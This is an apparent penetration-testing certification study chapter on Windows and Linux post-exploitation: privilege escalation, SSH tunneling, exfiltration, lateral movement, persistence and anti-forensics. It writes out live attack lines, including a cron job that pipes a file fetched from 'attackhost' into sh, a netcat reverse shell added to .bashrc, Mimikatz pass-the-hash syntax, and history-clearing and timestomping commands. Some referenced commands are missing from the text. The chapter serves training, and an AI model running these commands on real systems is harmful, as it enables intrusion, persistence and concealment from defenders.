Searching for Missing Patches with enum_patches Another way to search for local privilege escalation vulnerabilities against the host is to use the windows/gather/enum_patches Metasploit module, as shown in Figure 9-9. This is a post-execution module you run against an active Metasploit session to provide a list of missing Knowledge Base (KB) articles (patches) and their associated Microsoft Bulletin, where applicable. Figure: Enumerating patches with Metasploit
windows/gather/enum_patches
Searching for Missing Patches with WMIC Similar to the enum_patches Metasploit module, the Windows Management Instrumentation Command line (WMIC) utility provides a command-line interface for interacting with the Windows operating system. You can use the WMIC utility from the command prompt to search for patches and their installation dates on the target operating system, as shown below. The data returned from the WMI query can be correlated against the missing patches enumerated from Metasploit: Figure: Discover missing patches with WMIC c:\Users\user> wmic qfe get Caption,Description,HotFixID,InstalledOn Tip: The Windows Management Instrumentation (WMI) is a component of the Windows operating system that facilitates the local and remote management of data and operations. The WMI is useful for automating administrative tasks through WMI scripts or applications. You can find out more through the https://docs.microsoft.com website.
enum_patches
c:\Users\user> wmic qfe get Caption,Description,HotFixID,InstalledOn
Exploiting schelevator CVE-2010-3338 is a local privilege escalation vulnerability that allows local users in vulnerable Windows operating system versions to gain privileges via scheduled tasks. When processing task files, the Windows Task Scheduler relies on a CRC-32 checksum in order to ensure that a file has not been tampered with. In default Windows configurations, local users can read and write task files that they create. Since CRC-32 is not a cryptographic algorithm, users can modify a new or existing task file to create a potential hash collision and execute arbitrary commands with SYSTEM privileges. Figure 9-11 demonstrates this vulnerability, using the windows/local/ms10_092_schelevator Metasploit module against a user Meterpreter session on a Windows 2008 x64 SP2 server. Figure: MS10_092 schelevator exploit
windows/local/ms10_092_schelevator
The exploit module will create an initial task as the user account (since we don’t have SYSTEM-level access yet), read in the contents of the task, convert it to Unicode format, then record the CRC-32 hash value so it can assign it later on after the task has been modified. Then, the exploit will convert the file contents from Unicode and update the XML tags within the task file to run the payload with SYSTEM-level privileges, since the task was originally created with user-level privileges. Then, the exploit converts the file contents back to Unicode, fixes the CRC-32 checksum so that the task matches the original recorded hash value (CRC-32 collision), and executes the task using the Task Scheduler. The vulnerability is not that the user can create the task, but that there is a flaw in the trusted integrity mechanism (CRC-32 checksum) that is used to validate that the task has not been tampered with or altered in any way. A user account should not be able to modify the contents of a task to enable it to run with higher privileges. DLL Search Order Hijacking Windows DLLs contain code and other data used by native Windows applications in order to function properly. When software is installed on Windows, the program will include a bundle of required DLLs to be installed to the operating system, as well as rely on some built-in DLLs provided by the operating system. When an application loads, it will use a common method to look for all required DLLs to load into the program. DLLs are not called using a fully qualified path (i.e., where the DLL should reside on the operating system). Thus, if the DLL doesn’t exist or if it is implemented in an insecure way (such as a directory path with weak permissions) and an attacker gains control of one of the directories on the DLL search path, it could be possible to elevate privileges by forcing the application to load and execute a malicious DLL.
The following order is used by a program when searching for a DLL if SafeDllSearchMode is enabled: 1.: Program installation directory 2.: Windows system directory (C:\Windows\System32) 3.: Windows 16-bit system directory (C:\Windows\System) 4.: The Windows directory (C:\Windows) 5.: The current working directory 6.: Directories in the system PATH environment variable 7.: Directories in the user PATH environment variable To help look for DLL search order hijacking (ATT&CK ID: T1038) vulnerabilities in local programs, you can download one of the Windows SysInternals utilities called Process Monitor (https://docs.microsoft.com/en-us/sysinternals).
The Process Monitor application (procmon) is used to monitor processes running on the local system. You can use the tool to investigate in real time running processes with missing DLL files, as shown under the “DLL Hijacking” article posted to https://pentestlab.blog. To exploit a DLL hijacking vulnerability, first check to see if the DLL exists in any of the other search paths on disk. If the DLL doesn’t exist, you can place a malicious copy of a DLL within the execution path of a directory you have write access to (e.g., use msfvenom to generate a DLL with a Meterpreter reverse_tcp shell payload). When the process is restarted, the DLL should be loaded, and the malicious process should execute the payload with the privileges of the running process. If the DLL does exist somewhere else on disk in one of the search paths, see if you can write a location with a higher priority (i.e., installation directory). Using procmon, you can apply specific filters, such as looking for the applications running with SYSTEM-level privileges and missing DLL files. Tip: You may see scenario-based questions on the exam asking if you can determine which processes could be targeted for privilege escalation during an engagement, such as those processes running with SYSTEM-level privileges. Unquoted Service Paths The Windows registry is responsible for recording execution paths for services created on the Windows operating system. Administrators can create new services using the sc.exe command utility baked into the Windows system.
sc.exe
The figure below provides an example of how to use the sc.exe command to create a service name “vulnerablesvc” that points to the vulnerable.exe executable in the “shared commands” folder. Figure: Create service vulnerablesvc
vulnerable.exe
vulnerablesvc
When a new service is created on the local operating system, a unique key is created in the registry. These keys are located in the following Windows registry location: HKLM\SYSTEM\CurrentControlSet\services, as shown below. Figure: Unquoted service path in the registry
Lower-privileged users will not be able to modify the service; however, users can still search for services. We can use the wmic command to look for services with unquoted executable paths.
wmic
The figure below shows vulnerablesvc with a display name of UnquotedServicePath, which could be a likely target to attack for privilege escalation. Figure: Search for unquoted service paths using the wmic command.
UnquotedServicePath
Services created with administrator privileges will run as the SYSTEM account, unless it is configured to use a different service account or username/password combination. When Windows attempts to run the service, it will use the following path to run the first executable that it can find: 1.: C:\Program.exe 2.: C:\Program Files.exe 3.: C:\Program Files (x86)\Shared.exe 4.: C:\Program Files (x86)\Shared Services\shared.exe 5.: C:\Program Files (x86)\Shared Services\shared commands\vulnerable.exe
If we have write access to any of those folders prior to the final execution path, we can add our own malicious executable in the service path to force our program to load instead of the original program executable. The vulnerability is a result of the “CreateProcess” function in Windows operating systems, as described on the https://docs.microsoft.com website. Now, we can use the icacls command to see if we have write access to the Shared Services folder.
icacls
The figure below shows that we have full permission over the folder. Figure: Check folder permissions. Tip: Another tool that you can use to check specific users or group permissions to files, directories, registry keys, global objects, and Windows services is the Windows sysinternals command, accesschk.exe. You can find more information from the https://docs.microsoft.com/en-us/sysinternals website.
accesschk.exe
We just need to generate a payload to use in order to get a call back with system privileges. You can use msfvenom to generate a meterpreter_reverse_tcp payload called shared.exe, then put the executable in the C:\Program Files (x86)\Shared Services folder, as shown below, since the user has write access. Figure: Payload stored in the Shared Services folder
shared.exe
Once the payload has been copied over, you need to configure multi/handler so you can catch the SYSTEM-level shell once the service is started or restarted, as shown below. Figure: Starting the multi/handler
Now that everything seems to be in place, you just need to restart or start this service, if it has not already been started. However, lower-privileged accounts or accounts without permission to start the vulnerable service will get an access denied error if the account tries to start the service, as shown below. Figure: Failed attempt to start service in Task Manager
An alternative would be to reboot the system, wait until the next reboot, or social-engineer the administrator to restart the service, which is unlikely unless you are a very persuasive and believable person. Once the service kicks off, it will now read our “shared.exe” executable in the 4 option of the service path and execute that instead of the vulnerable.exe application, which is the intended program.
The figure below shows the service calling home and giving me a shell with SYSTEM-level privileges. Figure: Get SYSTEM privileges
Eventually, the service on the target will time out. Before that happens (roughly less than 20 seconds), you will want to migrate to another process, as shown in Figure 9-20. Previously in the chapter, I mentioned the wininit.exe process was an optional service to migrate to. Once you migrate, your shell will be stable, but the original process will die off once the service errors out. If you run the post/windows/manage/migrate module in your Meterpreter shell without specifying a process to migrate to, the module will automatically spawn a new process and migrate to it. In short, unquoted service paths are vulnerabilities that can lay dormant on the operating system, waiting to be exploited. When administrators intermingle processes and applications with lower-privileged user accounts, it could cause a situation like we just discussed and present a recipe for disaster. Figure: Migrate processes with Metasploit
post/windows/manage/migrate
To mitigate against these types of vulnerabilities, the MITRE ATT&CK page suggests that organizations eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and shortcuts by surrounding path variables with quotation marks, where applicable. It will also be important for administrators to be aware of the search order that Windows uses for executing or loading binaries and to clean up old registry keys after uninstalling software applications to eliminate the issue of registry keys not being associated with a legitimate binary. In some cases, it may be possible to abuse writable services that run as SYSTEM or elevated privileges. This is due to incorrect permissions set by the administrator for a service, or the user account has elevated permissions in the directory where the binary is executed from. The local service configuration information in the registry could be modified in order to change the binary executable path and point to a malicious program instead. You can find out more about service registry permission weaknesses (ID: T1058) from the MITRE ATT&CK website. Covert Channels and Data Exfiltration Exfiltration is the process of moving data out of the environment you have compromised. You can exfiltrate data over any communication channel, including HTTP, HTTPS, or using any other port or protocol that is allowed through a firewall and proxy. The most popular way to get data out of a system is via the established command and control channel (such as a tunnel). SSH is a popular protocol for tunneling, but let’s talk about how shells and exfiltration work. SSH Tunneling SSH tunneling is used to forward application ports from an SSH client to an SSH server. This is a useful way to securely transfer files and connect to internal network services (like NFS or HTTP/S) that are listening on nonroutable networks. We’ll walk through the types of SSH tunnels you can use and talk about how to incorporate the use of Proxychains.
Some targets sit behind firewalls that use network address translation (NAT) to hide the private network (nonroutable network) from the public-facing network (i.e., Internet). SSH remote forwarding (i.e., -R SSH command flag) is a technique that can be used to establish a reverse tunnel from a firewalled host to a host outside the firewall, as shown below. A reverse tunnel means you’re getting the target to call back to you. For instance, let’s assume your destination IPv4 address that sits behind the NAT firewall is 192.168.1.50 (SSH client) and your attack box (SSH server) is on the Internet with a public IPv4 address. Figure: SSH reverse tunnel You can use the ssh command to remotely connect from the client to the source (we will use an example fully qualified domain name [FQDN]) using the following command:
ssh
Example: ssh -f -N -T -R 2222:localhost:22 attackbox.example.com
ssh -f -N -T -R 2222:localhost:22 attackbox.example.com
Options: - -f Background the SSH process after authenticating - -N Tell SSH that you want to connect but not run any commands - -T Disables pseudo-TTY allocation since you are not trying to create a remote shell
-f
-N
-T
This will tell the firewalled client to establish a remote exit point with attackbox.example.com. Any connection made to port 2222/tcp from attackbox.example.com will actually reach the firewalled client, using the SSH reverse tunnel.
To SSH over the remote exit point, simply point the ssh command from the attack.example.com server towards localhost on port 2222/tcp. Example: ssh localhost -p 2222 Option: - -p Remote exit port used to tunnel back to internal SSH client Tip: If you wanted to enable X11 forwarding of applications from the server back to the SSH client, you can use the -X option. For instance, you can enable X11 forwarding during your SSH connection if you wanted to use the server’s Firefox application to connect to navigate web-based hosts on the local network that it knows about.
ssh localhost -p 2222
-p
-X
Local forwarding (i.e., -L SSH command flag) allows a TCP port from the SSH client to be forwarded to the SSH server. This can help secure unencrypted protocols or access services that are only available from within the local network, such as NFS, HTTP, and MySQL Oracle. If you exploited a host behind the firewall and want to access an Apache web server that only allows connectivity from internal IPv4 addresses, you could use a local forwarding tunnel from the compromised host (SSH client) to your attackbox (SSH server).
-L
Once authenticated, you can browse to http://www.internal.web.org:8080 from the attack.example.org host, and your connection will go through the SSH forwarded tunnel (i.e., port 8080/tcp) and connect to the internal web server. ssh -L 8080:www.internal.web.org:80 attackbox.example.org
ssh -L 8080:www.internal.web.org:80 attackbox.example.org
Dynamic port forwarding (-D ssh command flag) is when you connect to a target (SSH server) from your attack host (SSH client) and turn your host into a SOCKS proxy server: ssh -D 9050 www.external.host.org
-D
ssh -D 9050 www.external.host.org
This will allow you to configure your web browser to connect through the SOCKS (i.e., SOCKS4 or SOCKS5) proxy connection when browsing web pages and allow you to execute port scans against internal hosts from outside the network using the SOCKS proxy. Proxychains is a command-line utility that comes preinstalled with Kali Linux that allows you to force an application (e.g., nmap) to send its requests through a SOCKS connection, as shown below. Figure: Nmap port scan through Proxychains Tip: In case you were trying to be stealthy with your attack methods, one of the differences between SOCKS5 and SOCKS4 proxies is that SOCKS5 can support TCP and UDP applications and provides DNS resolution through the SOCKS tunnel, whereas SOCKS4 will still use the localhost’s DNS configuration. Shell Types SSH is likely not the only protocol you will use to establish a shell to a target. You may use TCP, HTTP, or some other protocol as well. You might use an SSH client, or you might use a shell from within Metasploit or some other attack tool. In Metasploit, for example, you may have to choose the type of shell for your payload. A bind shell will make the target listen for you to connect to it. A reverse shell will ask the target to connect back to you. If there is a firewall between you and the client, this can be useful when the firewall allows a protocol from the target to you, but not vice versa. Command and Control The idea of remotely manipulating a compromised system during an attack can be referred to as command and control (C2). You are controlling the target and issuing commands to it through an established communication channel. You may choose a protocol that is commonly used within an environment (such as HTTPS) in order to get through firewalls and avoid detection. You may wish to employ ways to conceal this traffic, such as encrypting it and disguising its frequency, sizing, or other identifying characteristics in order to blend in with normal traffic. These established channels are often used to perform post-exploitation activities, including data exfiltration. Data Exfiltration Data loss prevention controls will often look for sensitive data in order to prevent it from being removed from the environment. Pentesters may need to evade these controls by packaging the data before attempting to move it (such as by using an encrypted zip archive) or by chunking the data into smaller pieces before transferring it. Using alternative protocols is another tricky way to get data out of an environment. Here’s an example of a command you could use in Linux to send the /etc/passwd file to another host using the ping command:
This command prints out the contents of the /etc/passwd file and pipes it to the xxd command, which creates a hex dump out of the file. The -c argument says to output the values in two columns, effectively making this 2 bytes per line. Then it pipes that output to xargs, which reads the output (delimited by spaces) and executes the ping command to the host 10.10.150.6 for each 2-byte argument it receives. The ping command it uses is sending a single echo request packet with a time to live of 10 using the pattern from xargs. When it’s done, it pings the target again, but this time it sends a packet size of 55 (one less than the default). This basically signals the end of a file to the listening service.
xxd
-c
xargs
Once these requests are received by 10.10.150.6, a script can then assemble and decode the received bytes, and data has been successfully exfiltrated. Lateral Movement After obtaining a remote shell on a target host, you can leverage lateral movement techniques to access and control remote systems over the network, sometimes without the need to install additional tools or services in the target environment. Typically, this involves abusing weaknesses in remote services or using services that are designed for remote administration, remote access, or data sharing as they might normally be used. It is possible to do things like internal phishing to gain access to other assets, of course. But we’ll focus on some techniques pentesters may use to remain undetected by living off the land, as well as methods involving lateral file transfer and pass-the-hash techniques. Living Off the Land Living off the land (LOL) is the concept of using tools that already exist on a system in order to exploit them without being detected. Simple examples include the use of SSH for Linux or Remote Desktop Protocol for Windows. There are two reasons this approach has merit. The first reason is that this makes it easier to blend in with normal system activities. By itself, this should make sense. The second reason, and this is the true spirit of LOL, is never having to write your tools to disk. You see, when you run many attack tools (such as Metasploit), they leave behind files that may need to be cleaned up after testing is finished. More importantly, each time you have to transfer a tool or write something to disk, it gives security software the opportunity to detect it. Therefore, you may also hear the technique of not writing to disk referred to as “fileless malware.” PowerShell PowerShell is probably the most well-known example of native Windows tooling that is useful to pentesters. We’ve already talked about PowerShell-based exploit tools. However, these often rely on modules that don’t exist natively in Windows. You still have to download tooling in order to use them. What if you wanted, instead, to use PowerShell to run it remotely without ever touching the disk? From our Windows-based attack machine, we could set up a web server to host a copy of Empire’s Invoke-Mimikatz script.
Then we could open a remote PowerShell session on our target (10.10.150.6) from the attack host: Enter-PSSession -ComputerName 10.10.150.6 -Credential $credentials
Enter-PSSession -ComputerName 10.10.150.6 -Credential $credentials
Then we could use the following PowerShell command to load the Mimikatz script remotely and run it in memory: WMIC Similarly, we could use WMIC to do it. To make this easier, first let’s encode the command that we want to run (the Invoke-Command string) using base64. Then, we can run wmic from Windows to target our remote host with PowerShell. Netsh We talked about SSH tunneling, but what if SSH isn’t installed? Netcat isn’t installed either. Netsh is a built-in utility for Windows that allows you to modify the network connection of a system. If IPv6 is installed, we could redirect external traffic on port 443 to RDP, so that we could RDP through a proxy: Passing the Hash Pass-the-hash (PtH)–style attacks can be accomplished by using the NTLM hash value associated with a Windows local/domain account to authenticate to another remote host over the network. The MITRE ATT&CK matrix identifies this technique as a method that bypasses standard authentication steps that require a cleartext password (ID: T1075). This can help save time and energy during a pentest engagement, as you don’t need to crack the hash—you can just bypass it. The PsExec SysInternals command can help facilitate this type of connection when using privileged user accounts. All the same theories and restrictions apply with PsExec, except you would be using a hash value instead of a password.
The figure below shows an example of PtH using the psexec Metasploit module. Figure: Pass the hash Note: : Mimikatz (in debug mode) is another tool that you can use with the PtH technique when executing the following command: sekurlsa::pth /user:<account> /domain:<domain> /ntlm:<ntlm hash>. Microsoft has delivered multiple updates to mitigate the capability to PtH. Windows 7 and later versions with KB2871997 require valid domain user credentials of RID 500 administrator hashes. You can read more in the article “Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy” from the SpecterOps website: https://posts.specterops.io/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy-506c25a7c167 RPC/DCOM The MITRE ATT&CK matrix identifies the Microsoft Windows distributed component object model (DCOM) as a valid lateral movement technique that can be used to extend the functionality of the component object model (COM) from the local computer to other computers, using remote procedure call (RPC) technology (ID: T1175). The Windows API utilizes the COM component to interact between software objects. The DCOM operates as a transparent middleware function to enable privileged user accounts (i.e., Administrators) access to the properties and methods of COM objects, such as Windows Office applications. Essentially, an application that was started through DCOM may be able to be accessed remotely over the network, typically through higher TCP port ranges. The Windows registry enforces access control lists to restrict permissions to interact with local and remote server COM objects. Similar to taking over an SSH agent from a remote user, a privileged user in Windows can interact with methods and properties from an application object started by the user, such as Microsoft Excel, that communicates with remote objects through macros.
sekurlsa::pth /user:<account> /domain:<domain> /ntlm:<ntlm hash>
Enabling the Windows firewall will prevent DCOM instantiation by default (i.e., blocks access to those higher ports), while monitoring and detecting COM objects that try and load DLLs and other modules not typically associated with the application are ways to mitigate and detect against attackers taking advantage of lateral movement through Microsoft Office DCOM. Note: : For further reading, Matt Nelso wrote a blog post about how you can use the Microsoft Management Console snap-in with COM for remote execution: https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ Remote Desktop Protocol A very popular method for connecting to remote Windows hosts is the remote desktop protocol (RDP). This service listens on port 3389/tcp and provides remote users with a graphical user interface (GUI) as if they were logged in to the console. Users on a Windows domain will need to be in the Remote Desktop Users group in order to be able to use this service. Otherwise, it is limited to users with administrative privileges. RDP provides SSL/TLS encryption to protect the confidentiality between the client/server connection. However, the service is prone to man-in-the-middle (MiTM) weaknesses, as the RDP server stores a hard-coded RSA private key in the mstlsapi.dll library. Local users with access to the file can retrieve the key and use it for the attack (Nessus Plugin ID: 18405). RDP can be configured to mitigate this vulnerability by forcing network-level authentication (NLA). This setting forces the client to present user credentials for authentication before the server will create a session for that user. NLA relies on the Credential Security Support Provider (CredSSP) Protocol; thus, if the RDP client does not support NLA or provide the necessary credential, it will not be permitted to log in to the remote host. Tip: Similar to RDP, the Apple Remote Desktop is an effective way of managing Mac computers on the network. The Apple Remote Desktop application listens on 3283/tcp. You can read more about the service at https://www.apple.com/remotedesktop. WinRM The Windows Remote Management (WinRM) protocol is a feature of PowerShell that provides native Windows remote command execution. You can enable PowerShell remoting via a PowerShell console running with administrator privileges and setting all remote hosts to trusted. Once WinRM has been updated for remote management, a listener will be started on HTTP port 5985/tcp. When you port-scan the service, nmap will fingerprint the service and print the banner information. Tip: In a production environment, you probably don’t want to allow all remote hosts as trusted. You will want to lock this down to only trusted hosts on your network.
With PowerShell v2 or later, you can use the Invoke-Command cmdlet to execute commands against remote systems, or use Enter-PsSession to obtain an interactive PowerShell console with another remote host running WinRM. During a pentest engagement, you can take advantage of established trust relationships between hosts on the network while using native Windows operating system features and methods that are less likely to cause alarm within organizational security event monitoring systems. Maintaining Persistence We’ve talked about establishing backdoors with shells, but those are not always persistent. As soon as the shell crashes or the user logs out, the connection goes away. If the user whose password you have compromised changes it during the test, you will also lose access. Of course, if you make your own user, this last case may not be as much of an issue. But let’s agree that it would be bad to lose access before the pentest is complete, only to find yourself in the position where you cannot re-create the exploitation path to get back to where you were. Therefore, you may want to take some steps to set up persistent access. The way you do this will vary based on the target operating system, so we’ll address those separately. Note: : To avoid detection when placing a persistent backdoor, it may be useful to create a trojan. A trojan is a malicious payload (for example, a remote shell) that masquerades as something more legitimate. One trick is to use an existing legitimate application and inject malware into it, then use the same filename and application in its original persistence location. Windows Two of the most well-known methods for persistence in Windows are scheduled tasks and startup locations. Scheduled tasks are configured in Windows Task Scheduler. The command line for this is schtasks. If we wanted to set up a scheduled task to run our fileless PowerShell, we could do something like the following to have it run each time a new user logs into the system:
Invoke-Command
Enter-PsSession
schtasks
A more subtle method of implementing this could use the Squiblydoo attack, which uses more innocuous-looking Windows native binaries to pull the web-hosted malware, this time in Windows Script Component (.sct) format:
As mentioned, though, scheduled tasks are not the only persistence mechanism within Windows. Windows looks many places to determine what to launch whenever it starts. In some cases, it uses the startup folders or registry keys. In other cases, applications that are automatically launched by Windows may look for specific content whenever they launch.
Here are a few Windows startup locations where shells can be injected for persistence:
Autostart folders - %appdata%\Microsoft\Windows\Start Menu\Programs\Startup - C:\Users\USERNAME\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup - %programdata%\Microsoft\Windows\Start Menu\Programs\Startup - C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
Registry - HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run - HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Run - HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce - HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnceEx - HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices - HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce - HKLM\System\CurrentControlSet\Services - HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices - HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce - HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components - HKLM\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SharedTaskScheduler - HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\SharedTaskScheduler Linux In Linux, scheduled tasks are handled by crontab. Additionally, programs may be launched on startup as part of a user’s profile settings or in the system-configured daemons. Each of these has a slightly different approach. Where possible, we’ll focus on doing this filelessly, but you can always upload your payload and reference it instead. Crontab Let’s start with setting up a reverse shell using crontab. Tasks scheduled in crontab can be user specific or run across the entire system. Permission to edit the crontab is often limited. To target a specific user’s crontab, you would give their username after the crontab command. By default, it will attempt to manipulate the system crontab.
To list the existing entries, use the command crontab -l. One way to edit the entries is by using crontab -e. The first thing you’ll want to know, before scheduling, is how the scheduling syntax works. Cron takes a minute, hour, day of the month, month, and day of the week as a scheduling argument, in that order. It uses an asterisk to indicate “any.” So, the following syntax tells cron to execute the command every five minutes, every day. The command we will set up tells curl to insecurely (-k) fetch a web page and send the output to a shell to be executed. This is somewhat similar to how we use scheduled tasks in Windows to run things filelessly. /5 * * * * curl -k http://attackhost/evil-file.txt |sh User Profile Users can configure settings to modify their environment and shell when they log in. These profile settings can also be hijacked for persistence. In this example, a user using the Bash shell has a .bashrc file. Editing that file to add the following line would create a reverse shell on port 8675 for access each time the user logs in and loads their shell environment. nc -e /bin/bash attackhost 8675 2>/dev/null & Daemons If you have root access to a machine, you can create a service to run each time the system starts in order to establish persistence. How you do this will depend somewhat on whether the system is using systemv, systemd, or something else (like upstart) for init. For this example, we’ll focus on systemd.
crontab -l
crontab -e
/5 * * * * curl -k http://attackhost/evil-file.txt |sh
nc -e /bin/bash attackhost 8675 2>/dev/null &
Under /etc/systemd/system you can create your pentestpersist.service service descriptor file.
/etc/systemd/system
pentestpersist.service
he contents may look something like the following:
Then, you would configure it to run each time the system starts by running systemctl enable pentestpersist from the command prompt. Covering Your Tracks The MITRE ATT&CK matrix defines covering your tracks as defensive evasion, which consists of methods and techniques that an attacker may use to help avoid detection through network monitoring.
systemctl enable pentestpersist
The following are defense evasion techniques from the MITRE ATT&CK matrix that are relevant for penetration testing: - Clear Command History (ID: T1146) - Timestomping (ID: T1099) - File Deletion (ID: T1107) Clearing Command History Both Linux and Mac operating systems keep track of the commands users type in the terminal. The BASH shell will record keystrokes in the $HOME/.bash_history file. During a pentest, once you obtain access to a UNIX/Linux/Mac operating system, it is best practice to unset the history file to prevent the user/administrator from knowing what commands you were executing, as well as not commingling your dirty/malicious commands with a user’s history.
$HOME/.bash_history
Unsetting the history file is as easy as shown here: - unset HISTFILE Temporary history will not be written to disk - export HISTFILE=0 Temporary history will not be written to disk - history -c Clears temporary history file - set +o history Prevents commands from recording to temporary history
unset HISTFILE
export HISTFILE=0
history -c
set +o history
Administrators can counter the defense evasion attack by setting the variable read-only to help preserve the contents of the history file for forensic purposes. Timestomping A technique used to modify the timestamps of a file (the modify, access, create, and change times) is called timestomping. This technique can be executed by an attacker against files and directories that were modified. The timestomp feature in a Meterpreter shell can be a good way to limit the digital footprint of reading and writing data on the file system.
timestomp
To see a list of options, you can use the following syntax: meterpreter> timestomp ? - -v Display the UTC MACE values of the file - -m Set the “last written” time of the file - -a Set the “last accessed” time of the file - -c Set the “creation” time of the file
meterpreter> timestomp ?
-v
-m
-a
You can see what the date timestamps look like before and after, then change it back to the before look. Imagine you wanted to change the contents of a user’s logon script or even a scheduled task that points to a PowerShell file in the administrator’s home directory called “script.ps1” and add some arbitrary code to the file to assist with persistence. Once you modify the file, you can use timestomp to change the file back to the original values. This way your modification doesn’t set off any red flags when looking at the date timestamp.
Let’s say you are on a Windows database server after successfully exploiting an MS SQL injection vulnerability through the customer’s web server. You want to remove your nefarious actions from the www and db log files and timestomp them to a period of time prior to the attack. After you remove your malicious entries in the log, you can use PowerShell to change the file properties LastWriteTime, LastAccessTime, and CreationTime for each log file. To do this, you could use the Get-Item cmdlet to identify the item (file) you want to modify, define the date you want to set the files to (the format is MM/DD/YYYY HH:MM am/pm), and apply the new timestamp to each file property.
Get-Item
This can help conceal your entry and allow you to continue with your testing objectives and not draw as much attention to yourself.
Caution: If you modify the contents of a file that a customer is monitoring with integrity checking software (like Tripwire), the change will still be identified and will likely trigger an alert. Integrity monitoring software compares a cryptographic hash of the file from the time the file was last inspected. These tools can be set to run at various times through scheduled tasks.
There is a difference between changing the last written/accessed/creation time and creating a cryptographic hash of the target file. In Linux, you can also change the timestamp on a file by issuing the command touch -t YYYYMMDDhhmm (using your desired time and date) on your filename. File Deletion Malware, tools, or other non-native files dropped or created on a system may add to the attacker’s digital footprint. Metasploit is a great way of avoiding this hurdle when exploiting and executing code from within the framework, as there are automated mechanisms for cleaning up tools and residing in memory.
touch -t YYYYMMDDhhmm
The attacker may also clean the contents from /var/log/* on Linux/UNIX/Mac operating systems or wipe out the Event Viewer database on Microsoft systems. To mitigate, organizations can leverage logging servers (i.e., SYSLOG) to send security-relevant messages and information to a central host. This will help make the attacker’s job harder when covering their tracks if the log events are stored on another system or part of the network that they don’t have access to. Review In this guide we covered a lot of ground with regard to post-exploitation techniques, including enumeration, persistence, exfiltration, detection evasion, lateral movement techniques, and methods for privilege escalation. We first talked about gaining situational awareness to identify attack opportunities, prioritize attack strategies, and work more efficiently during the assessment. Then we addressed how you might use that information to further your access within a network or host and how to get that data out of the environment stealthily. We talked about techniques pentesters can use to move from system to system and network to network within an environment, including how to live off the land and use fileless malware in executions and in persistence. Lastly, we talked about how to further cover your tracks during a pentest.
/var/log/*
Join 4M+ learners. Unlock unlimited quizzes, wrong-answer tracking, flashcards + reminders, study guides, and 1-on-1 challenges.